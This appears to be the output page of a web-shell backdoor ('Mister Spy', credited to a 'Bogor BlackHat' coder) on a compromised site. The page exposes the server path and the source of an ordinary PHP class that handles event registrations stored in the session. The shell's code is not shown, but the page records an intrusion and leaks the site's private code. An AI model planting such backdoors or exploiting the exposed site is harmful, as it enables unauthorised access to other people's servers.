Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.inscripcionevento.php

<?php

require_once('class.misc.php');
require_once('class.usuariossession.php');

abstract class InscripcionEvento
{
	static public $Usuario;
	static public $IdUsuario;
	static public $IdEvento;
	static public $SbaNumero;
	static public $RpNumero;
	static public $Sexo;
	static public $Tabla;
	static public $IdAnimal;
	static public $Animal;
	static public $FechaNacimiento;
	static public $FechaInscripcion;
	static public $IdEventosMorfologicosCategoria;
	static public $Precio;
	static public $Email;
	static public $Presentacion;
	static public $Cabania;

	static private $IdInscripcion;
	static private $Saved;


	static function Initialize()
	{
		InscripcionEvento::$Usuario 						= UsuariosSession::GetCurrentUser();
		InscripcionEvento::$IdUsuario 						= UsuariosSession::GetCurrentUser()->IdUsuario;
		InscripcionEvento::$IdEvento 						= '';
		InscripcionEvento::$SbaNumero 						= '';
		InscripcionEvento::$RpNumero 						= '';
		InscripcionEvento::$Sexo 							= '';
		InscripcionEvento::$Tabla 							= '';
		InscripcionEvento::$IdAnimal 						= '';
		InscripcionEvento::$Animal 							= '';
		InscripcionEvento::$FechaNacimiento 				= '';
		InscripcionEvento::$FechaInscripcion 				= '';
		InscripcionEvento::$IdEventosMorfologicosCategoria 	= '';
		InscripcionEvento::$Precio							= '';
		InscripcionEvento::$Email 							= '';
		InscripcionEvento::$Presentacion 					= '';
		InscripcionEvento::$Cabania							= '';
		InscripcionEvento::$Saved							= false;
		
		if (!isset($_SESSION['Compras']))
		{
			$_SESSION['Usuario']						= &InscripcionEvento::$Usuario;
			$_SESSION['IdUsuario']						= &InscripcionEvento::$IdUsuario;
			$_SESSION['IdEvento']						= &InscripcionEvento::$IdEvento;
			$_SESSION['SbaNumero']						= &InscripcionEvento::$SbaNumero;
			$_SESSION['RpNumero']						= &InscripcionEvento::$RpNumero;
			$_SESSION['Sexo']							= &InscripcionEvento::$Sexo;
			$_SESSION['Tabla']							= &InscripcionEvento::$Tabla;
			$_SESSION['IdAnimal']						= &InscripcionEvento::$IdAnimal;
			$_SESSION['Animal']							= &InscripcionEvento::$Animal;
			$_SESSION['FechaNacimiento']				= &InscripcionEvento::$FechaNacimiento;
			$_SESSION['FechaInscripcion']				= &InscripcionEvento::$FechaInscripcion;
			$_SESSION['IdEventosMorfologicosCategoria']	= &InscripcionEvento::$IdEventosMorfologicosCategoria;
			$_SESSION['Precio']							= &InscripcionEvento::$Precio;
			$_SESSION['Email']							= &InscripcionEvento::$Email;
			$_SESSION['Presentacion']					= &InscripcionEvento::$Presentacion;
			$_SESSION['Cabania']						= &InscripcionEvento::$Cabania;
			
			return;
		}

		InscripcionEvento::$Usuario 						= $_SESSION['Usuario'];
		InscripcionEvento::$IdUsuario 						= $_SESSION['IdUsuario'];
		InscripcionEvento::$IdEvento 						= $_SESSION['IdEvento'];
		InscripcionEvento::$SbaNumero 						= $_SESSION['SbaNumero'];
		InscripcionEvento::$RpNumero 						= $_SESSION['RpNumero'];
		InscripcionEvento::$Sexo 							= $_SESSION['Sexo'];
		InscripcionEvento::$Tabla 							= $_SESSION['Tabla'];
		InscripcionEvento::$IdAnimal 						= $_SESSION['IdAnimal'];
		InscripcionEvento::$Animal 							= $_SESSION['Animal'];
		InscripcionEvento::$FechaNacimiento 				= $_SESSION['FechaNacimiento'];
		InscripcionEvento::$FechaInscripcion 				= $_SESSION['FechaInscripcion'];
		InscripcionEvento::$IdEventosMorfologicosCategoria 	= $_SESSION['IdEventosMorfologicosCategoria'];
		InscripcionEvento::$Precio							= $_SESSION['Precio'];
		InscripcionEvento::$Email 							= $_SESSION['Email'];
		InscripcionEvento::$Presentacion 					= $_SESSION['Presentacion'];
		InscripcionEvento::$Cabania							= $_SESSION['Cabania'];
	}


	static function ClearInscripcion()
	{
		InscripcionEvento::$IdEvento 						= '';
		InscripcionEvento::$SbaNumero 						= '';
		InscripcionEvento::$RpNumero 						= '';
		InscripcionEvento::$Sexo 							= '';
		InscripcionEvento::$Tabla 							= '';
		InscripcionEvento::$IdAnimal 						= '';
		InscripcionEvento::$Animal 							= '';
		InscripcionEvento::$FechaNacimiento 				= '';
		InscripcionEvento::$FechaInscripcion 				= '';
		InscripcionEvento::$IdEventosMorfologicosCategoria 	= '';
		InscripcionEvento::$Precio							= '';
		InscripcionEvento::$Email 							= '';
		InscripcionEvento::$Presentacion 					= '';
		InscripcionEvento::$Cabania							= '';
		InscripcionEvento::$Saved							= false;
		
		return true;
	}

	
	static function Save($oUsuario)
	{
		$oInscripciones = new Inscripciones();
				
		/* verifica si fue guardado anteriormente evitando de esta forma que los Refresh */
		/* dupliquen los datos */
		if (InscripcionEvento::$Saved)
			return true;

		if (!$oUsuario)
			return false;

		/* comenzamos una transaccion */
		if (!DBAccess::Begin())
			return false;

		$oInscripcion = new Inscripcion();
		$oInscripcion->IdUsuario						= InscripcionEvento::$IdUsuario;
		$oInscripcion->IdEvento							= InscripcionEvento::$IdEvento;
		$oInscripcion->Tabla							= InscripcionEvento::$Tabla;
		$oInscripcion->IdAnimal							= InscripcionEvento::$IdAnimal;
		$oInscripcion->FNac								= InscripcionEvento::$FechaNacimiento;
		$oInscripcion->FInscripcion						= date('Y-m-d');
		$oInscripcion->IdEventosMorfologicosCategoria	= InscripcionEvento::$IdEventosMorfologicosCategoria;
		$oInscripcion->Precio							= InscripcionEvento::$Precio;
		$oInscripcion->Sexo								= InscripcionEvento::$Sexo;
		$oInscripcion->Presentacion						= InscripcionEvento::$Presentacion;

		if (!$oInscripciones->Create($oInscripcion))
		{
			DBAccess::Rollback();
			return false;
		}

		/* almacenamos el Id de transaccion generado por si se requiere cancelar la compra */
		InscripcionEvento::$IdInscripcion = $oInscripcion->IdINscripcion;

		/* concluimos la transacción */		
		if (!DBAccess::Commit())
			return false;
			
		InscripcionEvento::$Saved = true;
		
		return true;
	}
	
	
	static function Cancel()
	{
		/* comenzamos una transacción */
		if (!DBAccess::Begin())
			return false;
			
		/* si no había sido grabada ... */
		if (!InscripcionEvento::$Saved)
			return true;
			
		$oInscripciones = new Inscripciones();
		
		/* obtenemos la inscripcion relacionada */
		$oInscripcion = $oInscripciones->GetById(InscripcionEvento::$IdInscripcion);
		if (!$oInscripcion)
		{
			DBAccess::Rollback();
			return false;
		}
		
		/* eliminamos la inscripcion */
		if (!$oInscripciones->Delete($oInscripcion))
		{
			DBAccess::Rollback();
			return false;
		}
		
		/* reestablecemos algunos valores */
		InscripcionEvento::$Saved = false;
		InscripcionEvento::$IdInscripcion = '';
		
		/* concluimos la transacción */
		if (!DBAccess::Commit())
			return false;
			
		return true;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat